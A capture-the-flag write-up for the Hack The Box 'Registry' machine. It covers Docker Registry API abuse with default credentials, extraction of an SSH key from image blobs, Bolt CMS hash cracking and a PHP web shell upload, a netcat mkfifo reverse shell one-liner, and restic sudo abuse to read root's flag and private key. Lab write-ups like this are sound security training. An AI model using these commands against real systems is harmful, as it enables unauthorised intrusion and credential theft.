Welcome to the HTB Registry write-up! This was a hard-difficulty box and had many fun components to complete it. For the initial shell, I had to inspect the website certificate to identify its subdomain associated with the Docker instance. Then, by abusing the Docker registry, I obtained the first user’s SSH private key to gain shell access. Further enumeration identified bolt.db inside the box which contained password hash for admin user for the Bolt application. Within, a webshell upload was allowed, leading escalating my privilege to www-data user. For the root shell, the “www-data” user could run
restic service under the context of the “root” user, which allowed backup any files with root privilege. Let’s get started!
Let’s begin with an initial port scan using the following command:
$ nmap -Pn — open -sC -sV -p- -T4 10.10.10.159
Interesting ports to note:
- HTTP (80/TCP) — Default nginx 1.14.0 installed page
- HTTPS (443/TCP) — The same website over SSL
Out of the all open ports came back, we can see this will be some type of web related challenge.
Initial Foothold (Docker Registry)
/index.html page was just a default nginx installed page.
Since it was configured over SSL, it contained a certificate associated with it. And we can view the certificate and see the Common Name (CN) as
Adding the newly found domain to the
/etc/hosts we can visit the site.
When we visit the site at
https://docker.registry.htb, it will be an empty page. Let’s kick off
dirsearch tool to brute-force any hidden directories.
$ dirsearch.py -u https://docker.registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,txt,html
/v2/ directory which prompted with a login page.
We can now try some weak credential combinations, and
admin : admin are the valid ones that allow us to successfully authenticate to the Docker Registry API. From the server Response Headers, we can also observe that the Docker Registry version is 2.0.
Docker Registry API Exploitation
Further research found that with exposed Docker Registry API, we can leverage this to pull any of the container images and read any changes. I used the described exploit from here.
What is Docker Registry?
The Registry is a stateless, highly scalable server side application that stores and lets you distribute Docker images using HTTP API.
First, we need to identify the repositories within the Docker Registry. Using
/_catalog, we can query the list of the repositories and find “bolt-image.”
Next, let’s find out the tags related to that repository, using
It identified “latest” tags. Let’s download the manifest file for the “latest” tags, using
The “latest” file will contain the list of blobs, which we can download all of them and unzip in our local machine to restore the file system of the Registry box.
### Downloading Each Blob
https://docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b### Unzipping Each Blob
$ tar -xvf sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
Once we unzip all the blobs, we will see a typical Linux file system as shown the screenshot below:
User Access #1 (bolt)
Further enumeration found the interesting bash script named “01-ssh.sh” under
/etc/profile.d folder. This script contained information about location of the SSH private key as well as password for the encrypted private key.
### Password for Encrypted Private Key
/root/.ssh folder, we can obtain the private key as well as the first username, “bolt.”
/root/.ssh/config### Encrypted Private Key
Knowing all this information, we can successfully log into the box as “bolt” user.
### SSH as "bolt"
$ ssh -i id_rsa email@example.com
With this access, we can read the
User Access #2 (bolt → www-data)
Bolt App — Admin Password Recovery
/var/www/html/ folder, we can see that there is “Bolt” app installed on the box.
We can also access the app via browser as well.
Then, we can obtain a password hash of the “admin” user for the “Bolt” app from the
bolt.db under the
John, we can crack the hash. The password for the admin user was “strawberry.”
Bolt App — Admin Login
We can now login to bolt admin page at
https://10.10.10.159/bolt/bolt/login using the credentials (
admin : strawberry).
Bolt App —File Upload File-type Bypass
Within the admin page, we notice that there is “File Management” where we can upload an arbitrary file.
But it only allowed certain types of file extensions for uploading. But we can modify
config.yml file to add any file type we want. For example, we can whitelist
php for us to upload a PHP web shell to gain a command execution access as “www-data” user.
Following is default accepted file type:
Then, we can add the
php into the
Now, we are allowed to upload a
.php file. Let’s upload a
When we browse the
webshell.php, we get a command execution on the box under the context of the “www-data” user.
But there is a cronjob running that it deletes the uploaded files pretty quick. (When I was testing, it seemed like 10–15 sec to remove the uploaded files) So our next step is to get a reverse shell. Additionally, there was some firewall rule that blocks getting egress connection to my local box, so I used
netcat within the “bolt” user’s SSH session instead of running it on my box.
Bolt App — Reverse Shell
We can run the following
netcat one-liner within the web shell in order to get a reverse shell as the “www-data” user.
### Netcat Reverse Shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 9002 >/tmp/f
Perfect, now we successfully obtained “www-data” user access.
First thing first, let’s run
sudo -l to see if the “www-data” user can run any commands under the context of “root” user.
So without providing any password, the “www-data” user can run
/usr/bin/restic backup -r rest* command as the “root” privilege. Let’s see if we can leverage this to get root access.
Restic (Backup Solution)
restic is a backup program that is fast, efficient and secure according to its Github page. Since we can backup anything as the “root” user, we can maybe leverage this to read
root.txt file or further gain root access.
After some research, it looks like:
(1) We need to create a
restic repository somewhere within the box where we have read/write access.
rest-server locally. (we will leverage a pre-compiled rest-server)
/root/root.txt into our
Let’s see this in action.
### Creating Repository
bolt@bolt:/tmp$ restic init --repo /tmp/restic*Enter any password you want. I used "bigb0ss."
Once the repository is created. Download the
rest-server binary here. Then, move that binary into the Registry box and run the server.
### Moving rest-server binary
$ sftp -i id_rsa firstname.lastname@example.org
bolt@bolt:/tmp$ put rest-server-0.9.7-linux-amd64### Running rest-server
bolt@bolt:/tmp$ chmod +x rest-server-0.9.7-linux-amd64
By default, the
rest-server will be listening on port 8000. Now, let’s move to our “www-data” user reverse shell session and run the following command to backup the
### Backup root.txt with sudo
www-data@bolt:/tmp$ sudo restic backup -r rest:http://127.0.0.1:8000 /root/root.txt
### Creating Snapshots (*No sudo required)
www-data@bolt:/tmp$ restic -r rest:http://127.0.0.1:8000 snapshots
### Restoring the Snapshots (*No sudo required)
www-data@bolt:/tmp$ restic -r rest:http://127.0.0.1:8000 restore 680634a8 --target /tmp/ting
It worked perfectly, and now we can read the backed up
root.txt file. :)
So, for the root shell, it’s simple that we can copy the
/root/.ssh/id_rsa private key using the same technique. Then, we can SSH as the “root” user.
### Getting Root SSH Keys
www-data@bolt:/tmp$ sudo restic backup -r rest:http://127.0.0.1:8000 /root/.ssh/id_rsa
www-data@bolt:/tmp$ restic -r rest:http://127.0.0.1:8000 snapshots
www-data@bolt:/tmp$ restic -r rest:http://127.0.0.1:8000 restore ec881c80 --target /tmp/ssh
With this, we can SSH.
It was fun learning Docker Registry exploits as well as
restic backup program. Opposed to this box, the Docker Registry API authentication is not enabled by default for both v1 and v2 implementations. So it might be interesting to consider this exploit when I encounter Docker Registry instances in the real pentesting engagements. For the root part, someone might think the path seemed to be too CTFy; however, I would think this might be a good technique to add in your pocket for Linux box testing since I definitely encountered many times that the dev/admin allowed overly permissive privileges to regular account in many client environments. In short, this was really enjoyable box to learn many new techniques. Hope you also enjoyed my write-up and thank you for reading. :D